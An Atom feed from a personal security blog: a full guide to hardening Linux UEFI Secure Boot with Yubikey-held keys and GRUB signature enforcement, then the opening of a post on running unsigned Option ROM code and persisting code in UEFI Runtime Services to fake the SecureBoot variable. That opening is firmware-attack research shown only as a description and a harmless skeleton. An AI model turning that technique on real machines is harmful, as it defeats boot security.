<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://theopolis.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://theopolis.github.io/" rel="alternate" type="text/html" /><updated>2025-12-02T02:20:09+00:00</updated><id>https://theopolis.github.io/feed.xml</id><title type="html">casualhacking</title><subtitle>A personal and public journal of technology exploration, usually about computer security and hardware.
</subtitle><entry><title type="html">Harden your Linux UEFI Secure Boot using GRUB signature checking and a Yubikey</title><link href="https://theopolis.github.io/blog/2020/5/24/harden-your-linux-uefi-secure-boot-using-grub-signature-checking-and-a-yubikey" rel="alternate" type="text/html" title="Harden your Linux UEFI Secure Boot using GRUB signature checking and a Yubikey" /><published>2020-05-24T00:00:00+00:00</published><updated>2020-05-24T00:00:00+00:00</updated><id>https://theopolis.github.io/blog/2020/5/24/harden-your-linux-uefi-secure-boot-using-grub-signature-checking-and-a-yubikey</id><content type="html" xml:base="https://theopolis.github.io/blog/2020/5/24/harden-your-linux-uefi-secure-boot-using-grub-signature-checking-and-a-yubikey"><![CDATA[<p>The goal of this article is to walk through hardening your UEFI-supported Linux desktop’s boot. This is accomplished by replacing signature checking keys with your own, keeping a portion of that key chain in an HSM/PIV device, and enabling GRUB signature checking.</p>

<!--more-->

<p><strong>What problem are we solving?</strong></p>

<p>Most popular Linux distributions support UEFI Secure Boot to facilitate hardware enablement. This means they support Secure Boot for the to the extent needed to get you up and running without getting in your way, not to provide any in-depth security features. For example, distributions such as Ubuntu and Fedora intentionally do not verify signature checking of your initrd nor GRUB modules, fonts, themes, or graphics.</p>

<p>We want to harden our boot such that anything in the boot chain executed before Linux requires signature verification. Caveat, that we are going to implement verification to the extent possible, we are not going to guarantee everything executed is verified. For example, we are most likely not verifying any EC firmware, voltage regulator firmware, etc. This article will call out specifically what we are verifying.</p>

<p><strong>**Important!</strong>** If you want a turn-key, and more complete solution to implement now, please use <a href="https://safeboot.dev/">safeboot.dev</a>.</p>

<p><strong>What is the general threat model?</strong></p>

<p>The OS bring-up of our desktop should be deterministic and authenticated. Assume this desktop sits in a reasonably trusted location, for example an apartment. If someone enters our trusted location with the intent of compromising our desktop’s pre-OS boot they must disassemble the enclosure and tamper our R/W SPI flash contents or a similar component. We will protect against easier and quicker attacks such as modifying bootable disk content, attaching malicious devices, and interrupting and altering the boot logic.</p>

<p>The above scenario assumes more than this article covers, for practical purposes the desktop owner should lock the machine when not in use and implement full disk encryption. Additionally, if someone enters your apartment with malicious intent multiple times they may be able to install a simple keylogger followed by using the result to change UEFI Setup data.</p>

<p>In a nutshell what are we going to accomplish, we will:</p>

<ul>
  <li>Generate private keys on a Yubikey 4 device (treat it as a personal HSM).</li>
  <li>Use the HSM keys to replace our desktop’s UEFI Secure boot platform key, key enrollment key, and allow-list db key.</li>
  <li>Create a standalone GRUB that enforces signature verification for any content used including a configuration that we will change often.</li>
  <li>Require signature verification for loading any initrd and kernel pairs.</li>
  <li>Password protect our UEFI Setup settings and grub boot-time configuration modification.</li>
</ul>

<p>Heads up that this article is a recap of my experiences and not intended to be a “dummy’s guide”. Hence I strongly recommend, if you are reading with the intent to DIY, that each step be accompanied with independent research and questioning.</p>

<p>The final boot flow will be: CPU bootstrap, UEFI platform code, Standalone Grub, Dynamic GRUB config, Linux initrd and kernel.</p>

<p>The source materials I used when researching and debugging are as follows:</p>

<ul>
  <li>A simple end-to-end walkthrough with more discussion of the process, using a different HSM but without deep-diving into GRUB <a href="https://diagprov.ch/posts/2017/01/own-and-lock-down-your-laptop-uefi-secure-boot.html">https://diagprov.ch/posts/2017/01/own-and-lock-down-your-laptop-uefi-secure-boot.html</a></li>
  <li>GRUB’s signature verification documentation: <a href="https://www.gnu.org/software/grub/manual/grub/html_node/Using-digital-signatures.html">https://www.gnu.org/software/grub/manual/grub/html_node/Using-digital-signatures.html</a></li>
  <li>A walkthrough of setting up UEFI Security Boot variables and using a Standalone GRUB: <a href="https://ruderich.org/simon/notes/secure-boot-with-grub-and-signed-linux-and-initrd">https://ruderich.org/simon/notes/secure-boot-with-grub-and-signed-linux-and-initrd</a></li>
</ul>

<h2 id="make-some-backups-and-a-restore-usb">Make some backups and a restore USB</h2>

<p><strong>**Important!</strong>** Let’s backup everything in <code class="language-plaintext highlighter-rouge">/boot</code> and everything in <code class="language-plaintext highlighter-rouge">/boot/EFI</code> as most likely your first GPT partitions is mounted to <code class="language-plaintext highlighter-rouge">/boot/EFI</code>.</p>

<p>Next follow <a href="https://ubuntu.com/tutorials/tutorial-create-a-usb-stick-on-windows#1-overview">Ubuntu’s tutorial for creating</a> a Live USB, or have an existing Live USB ready to fix any errors. We may lock ourselves out of the OS. Though in most cases we can disable enforcement using a UEFI Setup password for Grub password.</p>

<h2 id="remove-existing-packages">Remove existing packages</h2>

<p>We are going to “take control” of the bootloading process and thus we need to prevent package manager updates from getting in the way. Otherwise a new version will overwrite our custom signed copies.</p>

<p>For Ubuntu this includes removing GRUB-EFI <code class="language-plaintext highlighter-rouge">grub-efi-*</code>, the signed versions <code class="language-plaintext highlighter-rouge">dpkg --list | grep grub | grep signed</code>, and any versions of <code class="language-plaintext highlighter-rouge">shim</code>. Any packages returned in these queries should be uninstalled. The signed version of <code class="language-plaintext highlighter-rouge">linux-image</code> can be removed as well <code class="language-plaintext highlighter-rouge">dpkg --list | grep linux-image | grep signed</code>.</p>

<h2 id="generate-uefi-keys-and-authenticated-variables">Generate UEFI keys and authenticated variables</h2>

<p>We will generate three signing keys, a Platform Key, a Key Enrollment Key, and an Allow-List DB Key. Refer to <a href="https://diagprov.ch/posts/2017/01/own-and-lock-down-your-laptop-uefi-secure-boot.html">Antony Vennard’s descriptions</a> for more information on these keys. We will keep the PK and KEK private keys in an HSM because they are rarely used. I choose to use a Yubikey 4 Nano and here is what was required to make this work.</p>

<p>Install the <a href="https://developers.yubico.com/yubico-piv-tool/">Yubico PIV Tool</a> so we can generate keys on the Yubikey. I found that the usual pkcs11 tools and GPG are generally not great at interfacing with the Yubikey; specifically they cannot generate or use keys in the yubico-deprecated slots, go figure. ;)</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>yubico-piv-tool <span class="nt">-s88</span> <span class="nt">-agenerate</span> <span class="nt">-o</span> yubikey-pk.pub
<span class="nv">$ </span>yubico-piv-tool <span class="nt">-s88</span> <span class="se">\</span>
  <span class="nt">-S</span> <span class="s1">'/CN=My Platform Key/'</span> <span class="se">\</span>
  <span class="nt">-averify</span> <span class="nt">-aselfsign</span> <span class="se">\</span>
  <span class="nt">-i</span> yubikey-pk.pub <span class="se">\</span>
  <span class="nt">-o</span> yubikey-pk.pem
<span class="nv">$ </span>openssl x509 <span class="nt">-outform</span> DER <span class="nt">-in</span> yubikey-pk.pem <span class="nt">-out</span> yubikey-pk.der
<span class="nv">$ </span>yubico-piv-tool <span class="nt">-a</span> import-certificate <span class="nt">-s88</span> <span class="nt">-K</span> DER <span class="nt">-i</span> yubikey-pk.der
</code></pre></div></div>

<p>Now the Yubikey has our PK private key and a self-signed certificate. Next we create an authenticated UEFI variable using this key.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>uuidgen <span class="o">&gt;</span> uuid
<span class="nv">$ </span>cert-to-efi-sig-list <span class="nt">-g</span> <span class="sb">`</span><span class="nb">cat </span>uuid<span class="sb">`</span> yubikey-pk.pem yubikey-pk.esl
</code></pre></div></div>

<p><strong>**Important!</strong>** We need a newer version of <a href="https://git.kernel.org/pub/scm/linux/kernel/git/jejb/efitools.git">efitools</a>, which has support for PKCS11 signing. I used version 1.9.2: <a href="https://git.kernel.org/pub/scm/linux/kernel/git/jejb/efitools.git/snapshot/efitools-1.9.2.tar.gz">efitools-1.9.2.tar.gz</a>. Past versions of efitools required you to generate a to-be-signed ESL that could be used with <code class="language-plaintext highlighter-rouge">openssl smime</code>. I found that UEFI code is picky about x509 options so for best results stay in efitools.</p>

<p>And I ran into an off-by-one reference counted object, which was fixed with a newer OpenSC installation. This is most likely referenced in the <a href="https://github.com/OpenSC/libp11/issues/327">GitHub #327 issue</a> here. For posterity I used a commit hash: 1d93ed040930d60a8206bd839be0d61b269ac5d9. I built and installed this system-wide.</p>

<p>You may be affected by this bug if you see similar segfaults from efitools when trying to use the PKCS11 features.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Program received signal SIGSEGV, Segmentation fault.
0x00007ffff6eeff2f <span class="k">in</span> ?? <span class="o">()</span> from /usr/lib/x86_64-linux-gnu/engines-1.1/pkcs11.so
<span class="o">(</span>gdb<span class="o">)</span> bt
<span class="c">#0  0x00007ffff6eeff2f in ?? () from /usr/lib/x86_64-linux-gnu/engines-1.1/pkcs11.so</span>
<span class="c">#1  0x00007ffff6ef095e in ?? () from /usr/lib/x86_64-linux-gnu/engines-1.1/pkcs11.so</span>
<span class="c">#2  0x00007ffff7ab9aa9 in RSA_sign () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1</span>
<span class="c">#3  0x00007ffff7ab8892 in ?? () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1</span>
<span class="c">#4  0x00007ffff7a7c144 in EVP_SignFinal () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1</span>
<span class="c">#5  0x00007ffff7aa1591 in PKCS7_dataFinal () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1</span>
<span class="c">#6  0x00007ffff7aa317c in PKCS7_final () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1</span>
<span class="c">#7  0x000055555555606c in sign_efi_var_ssl (payload=payload@entry=0x555555759670 "P", payload_size=payload_size@entry=84, pkey=pkey@entry=0x55555578a200, cert=cert@entry=0x555555776ea0, sig=sig@entry=0x7fffffffde10, sigsize=sigsize@entry=0x7fffffffde0c) at openssl_sign.c:24</span>
<span class="c">#8  0x0000555555556346 in sign_efi_var (payload=0x555555759670 "P", payload_size=84, keyfile=0x7fffffffe600 "pkcs11:object=Private key for Retired Key 7;type=private", certfile=, sig=0x7fffffffde10, sigsize=0x7fffffffde0c, engine=0x7fffffffe5f6 "pkcs11") at openssl_sign.c:69</span>
<span class="c">#9  0x0000555555555bc3 in main (argc=, argv=) at sign-efi-sig-list.c:251</span>
</code></pre></div></div>

<p>Use the Yubikey’s key in slot 88 to self-sign an authenticated UEFI variable. The <a href="https://developers.yubico.com/yubico-piv-tool/YKCS11/Functions_and_values.html#_key_alias_per_slot_and_object_type">PKCS11 key alias is documented</a> on Yubico’s website.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>efitools-1.9.2/sign-efi-sig-list <span class="se">\</span>
  <span class="nt">-t</span> <span class="s2">"2020-01-01 00:00:00"</span> <span class="se">\</span>
  <span class="nt">-e</span> pkcs11 <span class="se">\</span>
  <span class="nt">-k</span> <span class="s2">"pkcs11:object=Private key for Retired Key 7;type=private"</span> <span class="se">\</span>
  <span class="nt">-g</span> <span class="sb">`</span><span class="nb">cat </span>uuid<span class="sb">`</span> <span class="se">\</span>
  <span class="nt">-c</span> yubikey-pk.pem <span class="se">\</span>
  PK yubikey-pk.esl yubikey-pk.auth
</code></pre></div></div>

<p>Repeat the same process for the KEK, but use a different key slot and sign with the PK instead of self-signing.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>yubico-piv-tool <span class="nt">-s87</span> <span class="nt">-agenerate</span> <span class="nt">-o</span> yubikey-kek.pub
<span class="nv">$ </span>yubico-piv-tool <span class="nt">-s87</span> <span class="se">\</span>
  <span class="nt">-S</span> <span class="s1">'/CN=My KEK/'</span> <span class="se">\</span>
  <span class="nt">-averify</span> <span class="nt">-aselfsign</span> <span class="se">\</span>
  <span class="nt">-i</span> yubikey-kek.pub <span class="se">\</span>
  <span class="nt">-o</span> yubikey-kek.pem
<span class="nv">$ </span>openssl x509 <span class="nt">-outform</span> DER <span class="nt">-in</span> yubikey-kek.pem <span class="nt">-out</span> yubikey-kek.der
<span class="nv">$ </span>yubico-piv-tool <span class="nt">-a</span> import-certificate <span class="nt">-s</span> 87 <span class="nt">-K</span> DER <span class="nt">-i</span> yubikey-kek.der
<span class="nv">$ </span>cert-to-efi-sig-list <span class="nt">-g</span> <span class="sb">`</span><span class="nb">cat </span>uuid<span class="sb">`</span>yubikey-kek.pem yubikey-kek.esl
<span class="nv">$ </span>efitools-1.9.2/sign-efi-sig-list <span class="se">\</span>
  <span class="nt">-t</span> <span class="s2">"2020-01-01 00:00:00"</span> <span class="se">\</span>
  <span class="nt">-e</span> pkcs11 <span class="se">\</span>
  <span class="nt">-k</span> <span class="s2">"pkcs11:object=Private key for Retired Key 7;type=private"</span> <span class="se">\</span>
  <span class="nt">-g</span> <span class="sb">`</span><span class="nb">cat </span>uuid<span class="sb">`</span> <span class="se">\</span>
  <span class="nt">-c</span> yubikey-pk.pem <span class="se">\</span>
  KEK yubikey-kek.esl yubikey-kek.auth
</code></pre></div></div>

<p>Finally, the DB key can be kept on-disk or in a third slot on the Yubikey. I choose to keep it online so I can keep the Nano/HSM offline and disconnected.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>openssl req <span class="nt">-new</span> <span class="nt">-x509</span> <span class="nt">-newkey</span> rsa:2048 <span class="nt">-subj</span> <span class="s2">"/CN=My Signing Key/"</span> <span class="nt">-keyout</span> signing.key <span class="nt">-out</span> signing.pem <span class="nt">-days</span> 9125 <span class="nt">-nodes</span> <span class="nt">-sha256</span>
<span class="nv">$ </span>cert-to-efi-sig-list <span class="nt">-g</span> <span class="sb">`</span><span class="nb">cat </span>uuid<span class="sb">`</span> signing.pem signing.esl
</code></pre></div></div>

<p>Sign using the KEK on the Yubikey.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>efitools-1.9.2/sign-efi-sig-list <span class="se">\</span>
  <span class="nt">-t</span> <span class="s2">"2020-01-01 00:00:00"</span> <span class="se">\</span>
  <span class="nt">-e</span> pkcs11 <span class="se">\</span>
  <span class="nt">-k</span> <span class="s2">"pkcs11:object=Private key for Retired Key 6;type=private"</span> <span class="se">\</span>
  <span class="nt">-g</span> <span class="sb">`</span><span class="nb">cat </span>uuid<span class="sb">`</span> <span class="se">\</span>
  <span class="nt">-c</span> yubikey-kek.pem <span class="se">\</span>
  DB signing.esl signing.auth
</code></pre></div></div>

<p>In the next section we will create a GRUB binary and sign that with this DB key.</p>

<p>Create a standalone GRUB that enforces signature verification</p>

<p>I wanted to use the same DB key used to sign GRUB to sign any content that GRUB loaded. Since I wanted to change GRUB and my kernel/initrd often I would have to keep a secondary key “online” so there is no added security for multiple keys in my scenario.</p>

<p>GRUB uses GPG signatures to verify content so we need to import the DB private key into our root user’s GPG keychain.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># apt install monkeysphere</span>
<span class="c"># cat signing.key | pem2openpgp "My Signing Key " &gt; signing.gpgkey</span>
<span class="c"># gpg --import --allow-secret-key-import signing.gpgkey</span>
<span class="c"># gpg --export &gt; signing.pubgpg</span>
<span class="c"># gpg --list-keys</span>
<span class="o">[</span>...]

pub   rsa2048 1970-01-01 <span class="o">[</span>SCEA]
      2C5B596292929FB8DD9847F7C93B99D30E812A37
uid           <span class="o">[</span> unknown] My Signing Key 
</code></pre></div></div>

<p>The goal is to make a standalone GRUB that contains:</p>

<ul>
  <li>All of the modules we want to use, ideally a limited set.</li>
  <li>A public GPG key used to verify signatures of any runtime content read.</li>
  <li>A basic configuration that enables signature verification and loads a larger config.</li>
</ul>

<p>Create a <code class="language-plaintext highlighter-rouge">grub-initial.cfg</code> that will be “built in” to the standalone GRUB.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Enforce that all loaded files must have a valid signature.</span>
<span class="nb">set </span><span class="nv">check_signatures</span><span class="o">=</span>enforce
<span class="nb">export </span>check_signatures

<span class="c"># Require a password to make boot-time changes</span>
<span class="nb">set </span><span class="nv">superusers</span><span class="o">=</span><span class="s2">"root"</span>
password_pbkdf2 root grub.pbkdf2.sha512.10000.HASH
<span class="nb">export </span>superusers

<span class="nb">set </span><span class="nv">root</span><span class="o">=</span><span class="s1">'hd3,gpt2'</span> <span class="c"># Set this to the device/partition containing your root fs.</span>
<span class="c"># See lsblk -o NAME,MOUNTPOINT,UUID for your UUID</span>
search <span class="nt">--no-floppy</span> <span class="nt">--fs-uuid</span> <span class="nt">--set</span><span class="o">=</span>root <span class="nv">$UUID</span> <span class="c"># Replace '$UUID' with your root fs UUID.</span>

configfile /boot/grub/grub.cfg

<span class="c"># If the config contains an error pause then reboot</span>
<span class="nb">sleep </span>10
reboot
</code></pre></div></div>

<p>You can read your current GRUB configuration, most likely at <code class="language-plaintext highlighter-rouge">/etc/grub/grub.cfg</code> and predict the minimum set of modules. On my host this was the following:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">export </span><span class="nv">MODULES</span><span class="o">=</span><span class="s2">"configfile echo normal ls </span><span class="se">\</span><span class="s2">
  linux linuxefi </span><span class="se">\</span><span class="s2">
  verify gcry_sha512 gcry_rsa </span><span class="se">\</span><span class="s2">
  search search_fs_uuid part_gpt ext2 fat</span><span class="se">\</span><span class="s2">
  all_video efi_gop efi_uga video_bochs video_cirrus gfxterm gettext </span><span class="se">\</span><span class="s2">
  gzio xzio lzopio"</span>
</code></pre></div></div>

<p>Then build grub using:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># gpg --default-key "2C5B596292929FB8DD9847F7C93B99D30E812A37" --detach-sign ./grub-initial.cfg</span>
<span class="c"># grub-mkstandalone \</span>
  <span class="nt">--directory</span> /usr/lib/grub/x86_64-efi <span class="se">\</span>
  <span class="nt">--modules</span> <span class="s2">"</span><span class="nv">$MODULES</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">--format</span> x86_64-efi 
  <span class="nt">--pubkey</span> ./signing.pubgpg <span class="se">\</span>
  <span class="nt">-o</span> /boot/efi/EFI/grubx64-standalone.efi <span class="se">\</span>
 <span class="s2">"boot/grub/grub.cfg=./grub-initial.cfg"</span> <span class="se">\</span>
 <span class="s2">"boot/grub/grub.cfg.sig=./grub-initial.cfg.sig"</span>
</code></pre></div></div>

<p>And sign using our DB signing key:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># sbsign \</span>
  <span class="nt">--key</span> ./signing.key <span class="se">\</span>
  <span class="nt">--cert</span> ./signing.pem <span class="se">\</span>
  <span class="nt">--output</span> /boot/efi/EFI/grubx64-standalone.efi <span class="se">\</span>
  /boot/efi/EFI/grubx64-standalone.efi
</code></pre></div></div>

<p>And now I can use my OS’s GRUB configuration tooling and <code class="language-plaintext highlighter-rouge">update-grub</code> to build a more dynamic configuration saved to <code class="language-plaintext highlighter-rouge">/etc/grub/grub.cfg</code> and it will only boot if signed. That larger configuration has <code class="language-plaintext highlighter-rouge">insmod</code> calls that will fail if the module is not signed.</p>

<p>Finally, I used a small script to resign my GRUB config, my initrd, and kernel:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nb">set</span> <span class="nt">-e</span>
<span class="nb">set</span> <span class="nt">-x</span>

<span class="nv">KEY</span><span class="o">=</span>2C5B596292929FB8DD9847F7C93B99D30E812A37

<span class="nv">LINUX</span><span class="o">=</span>/boot/vmlinuz-5.4.10
<span class="nv">INITRD</span><span class="o">=</span>/boot/initrd.img-5.4.10
<span class="nv">GRUB</span><span class="o">=</span>/boot/grub/grub.cfg

<span class="nv">INITRD_HASH</span><span class="o">=</span><span class="si">$(</span>shasum <span class="nt">-a</span> 256 <span class="nv">$INITRD</span> | <span class="nb">awk</span> <span class="s1">'{print $1}'</span><span class="si">)</span>
<span class="nv">INITRD_HASH_FROZEN</span><span class="o">=</span><span class="si">$(</span>shasum <span class="nt">-a</span> 256 <span class="nv">$INITRD</span>.frozen | <span class="nb">awk</span> <span class="s1">'{print $1}'</span><span class="si">)</span>

<span class="nv">LINUX_HASH</span><span class="o">=</span><span class="si">$(</span>shasum <span class="nt">-a</span> 256 <span class="nv">$LINUX</span> | <span class="nb">awk</span> <span class="s1">'{print $1}'</span><span class="si">)</span>
<span class="nv">LINUX_HASH_FROZEN</span><span class="o">=</span><span class="si">$(</span>shasum <span class="nt">-a</span> 256 <span class="nv">$LINUX</span>.frozen | <span class="nb">awk</span> <span class="s1">'{print $1}'</span><span class="si">)</span>

<span class="nv">GRUB_HASH</span><span class="o">=</span><span class="si">$(</span>shasum <span class="nt">-a</span> 256 <span class="nv">$GRUB</span> | <span class="nb">awk</span> <span class="s1">'{print $1}'</span><span class="si">)</span>
<span class="nv">GRUB_HASH_FROZEN</span><span class="o">=</span><span class="si">$(</span>shasum <span class="nt">-a</span> 256 <span class="nv">$GRUB</span>.frozen | <span class="nb">awk</span> <span class="s1">'{print $1}'</span><span class="si">)</span>

<span class="k">if</span> <span class="o">[[</span> <span class="o">!</span> <span class="s2">"</span><span class="nv">$INITRD_HASH</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"</span><span class="nv">$INITRD_HASH_FROZEN</span><span class="s2">"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
  </span><span class="nb">echo</span> <span class="s2">"Re-Signing </span><span class="nv">$INITRD</span><span class="s2">"</span>
  gpg <span class="nt">--default-key</span> <span class="s2">"</span><span class="nv">$KEY</span><span class="s2">"</span> <span class="nt">--detach-sign</span> <span class="nv">$INITRD</span>
  <span class="nb">cp</span> <span class="nv">$INITRD</span> <span class="nv">$INITRD</span>.frozen
<span class="k">fi

if</span> <span class="o">[[</span> <span class="o">!</span> <span class="s2">"</span><span class="nv">$LINUX_HASH</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"</span><span class="nv">$LINUX_HASH_FROZEN</span><span class="s2">"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
  </span><span class="nb">echo</span> <span class="s2">"Re-Signing </span><span class="nv">$LINUX</span><span class="s2">"</span>
  gpg <span class="nt">--default-key</span> <span class="s2">"</span><span class="nv">$KEY</span><span class="s2">"</span> <span class="nt">--detach-sign</span> <span class="nv">$LINUX</span>
  <span class="nb">cp</span> <span class="nv">$LINUX</span> <span class="nv">$LINUX</span>.frozen
<span class="k">fi

if</span> <span class="o">[[</span> <span class="o">!</span> <span class="s2">"</span><span class="nv">$GRUB_HASH</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"</span><span class="nv">$GRUB_HASH_FROZEN</span><span class="s2">"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
  </span><span class="nb">echo</span> <span class="s2">"Re-Signing </span><span class="nv">$GRUB</span><span class="s2">"</span>
  gpg <span class="nt">--default-key</span> <span class="s2">"</span><span class="nv">$KEY</span><span class="s2">"</span> <span class="nt">--detach-sign</span> <span class="nv">$GRUB</span>
  <span class="nb">cp</span> <span class="nv">$GRUB</span> <span class="nv">$GRUB</span>.frozen
<span class="k">fi</span>
</code></pre></div></div>

<p>This required me to add this “snip” to <code class="language-plaintext highlighter-rouge">/etc/grub.d/10_linux</code>, so that my <code class="language-plaintext highlighter-rouge">(.sig|.frozen)</code> files are not interpreted as optional kernel/initrd pairs.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>grub_file_is_not_sig<span class="o">()</span> <span class="o">{</span>
  <span class="nv">name</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>
  <span class="k">case</span> <span class="s2">"</span><span class="nv">$name</span><span class="s2">"</span> <span class="k">in</span>
      <span class="k">*</span>.sig<span class="p">)</span> <span class="k">return </span>1 <span class="p">;;</span>
      <span class="k">*</span>.frozen<span class="p">)</span> <span class="k">return </span>1 <span class="p">;;</span>
  <span class="k">esac</span>
<span class="o">}</span>

<span class="nv">machine</span><span class="o">=</span><span class="sb">`</span><span class="nb">uname</span> <span class="nt">-m</span><span class="sb">`</span>
<span class="k">case</span> <span class="s2">"x</span><span class="nv">$machine</span><span class="s2">"</span> <span class="k">in
    </span>xi?86 <span class="p">|</span> xx86_64<span class="p">)</span>
        <span class="nv">list</span><span class="o">=</span>
        <span class="k">for </span>i <span class="k">in</span> /boot/vmlinuz-<span class="k">*</span> /vmlinuz-<span class="k">*</span> /boot/kernel-<span class="k">*</span> <span class="p">;</span> <span class="k">do
            if </span>grub_file_is_not_garbage <span class="s2">"</span><span class="nv">$i</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> grub_file_is_not_sig <span class="s2">"</span><span class="nv">$i</span><span class="s2">"</span> <span class="p">;</span> <span class="k">then </span><span class="nv">list</span><span class="o">=</span><span class="s2">"</span><span class="nv">$list</span><span class="s2"> </span><span class="nv">$i</span><span class="s2">"</span> <span class="p">;</span> <span class="k">fi
        done</span> <span class="p">;;</span>
</code></pre></div></div>

<p>Now boot and resolve any errors or typos. When you are finished and happy with the flow be sure to set up a UEFI Setup password.</p>]]></content><author><name></name></author><category term="uefi" /><summary type="html"><![CDATA[The goal of this article is to walk through hardening your UEFI-supported Linux desktop’s boot. This is accomplished by replacing signature checking keys with your own, keeping a portion of that key chain in an HSM/PIV device, and enabling GRUB signature checking.]]></summary></entry><entry><title type="html">Executing custom Option ROM on D34010WYK and persisting code in UEFI Runtime Services</title><link href="https://theopolis.github.io/blog/2020/1/4/executing-custom-option-rom-on-nucs-and-persisting-code-in-uefi-runtime-services" rel="alternate" type="text/html" title="Executing custom Option ROM on D34010WYK and persisting code in UEFI Runtime Services" /><published>2020-01-04T00:00:00+00:00</published><updated>2020-01-04T00:00:00+00:00</updated><id>https://theopolis.github.io/blog/2020/1/4/executing-custom-option-rom-on-nucs-and-persisting-code-in-uefi-runtime-services</id><content type="html" xml:base="https://theopolis.github.io/blog/2020/1/4/executing-custom-option-rom-on-nucs-and-persisting-code-in-uefi-runtime-services"><![CDATA[<p>In this post we’ll explore running unsigned Option ROM code on an Intel D34010WYK NUC, solely for testing purposes. We will verify that unsigned/unverified Option ROM code is not run when UEFI Secure Boot is enabled. We will demonstrate how to persist code at runtime using UEFI Runtime Services, and use a small signalling protocol to allow an unprivileged userland process to fake the contents of UEFI variables such as the SecureBoot variable.</p>

<!--more-->

<p>This is a continuation of a previous post, <a href="https://casualhacking.io/blog/2019/12/3/using-optionrom-to-overwrite-smmsmi-handlers-in-qemu">Using an Option ROM to overwrite SMI handlers in QEMU</a>. Please review the content and the referenced source materials as well as the following source materials for additional context:</p>

<ul>
  <li><a href="https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/uefi-validation-option-rom-validation-guidance">Microsoft’s UEFI Validation Option ROM Guidance</a></li>
  <li><a href="http://opensecuritytraining.info/IntroBIOS_files/Day1_06_Advanced%20x86%20-%20BIOS%20and%20SMM%20Internals%20-%20PCI%20XROMs.pptx">Open Security Training’s PCI Option/Expansion ROMs</a></li>
</ul>

<p>The code and examples in this post, which are run on bare metal UEFI platforms, assume UEFI Secure Boot is disabled. If a UEFI production BIOS implements Secure Boot correctly then unsigned/unverified Option ROMs should not execute. Note that in the previous post the OVMF platform run in QEMU disables verification for Option ROMs by setting <code class="language-plaintext highlighter-rouge">PcdOptionRomImageVerificationPolicy|0x0</code>.</p>

<h2 id="create-a-toy-option-rom-using-the-edkii">Create a toy Option ROM using the EDKII</h2>

<p>In the previous post we used a modified iPXE as a starting point for our Option ROM code. This time we will use the EDK. For example, create a new folder and file called <code class="language-plaintext highlighter-rouge">MyOptionRom</code> within the EDKII source tree with the following code:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">EFI_STATUS</span>
<span class="n">EFIAPI</span>
<span class="nf">MyOptionRomEntry</span> <span class="p">(</span>
  <span class="n">IN</span>  <span class="n">EFI_HANDLE</span>        <span class="n">ImageHandle</span><span class="p">,</span>
  <span class="n">IN</span>  <span class="n">EFI_SYSTEM_TABLE</span>  <span class="o">*</span><span class="n">SystemTable</span>
  <span class="p">)</span>
<span class="p">{</span>
    <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">ImageHandle</span><span class="p">;</span>
    <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">SystemTable</span><span class="p">;</span>

    <span class="n">DEBUG</span><span class="p">((</span><span class="n">EFI_D_INFO</span><span class="p">,</span> <span class="s">"MyOptionRom loaded</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
    <span class="n">Print</span><span class="p">(</span><span class="s">L"MyOptionRom loaded</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="k">return</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">EFI_STATUS</span>
<span class="n">EFIAPI</span>
<span class="nf">MyOptionRomUnload</span> <span class="p">(</span>
  <span class="n">IN</span>  <span class="n">EFI_HANDLE</span>  <span class="n">ImageHandle</span>
  <span class="p">)</span>
<span class="p">{</span>
    <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">ImageHandle</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The above skeleton code is printing a trace to the debug console and any <code class="language-plaintext highlighter-rouge">ConOut</code> configured. This is helpful in combination with the UEFI Shell’s <code class="language-plaintext highlighter-rouge">loadpcirom</code> command. Use this command before flashing Option ROM code to test that it does not halt/fault the system. ;)</p>

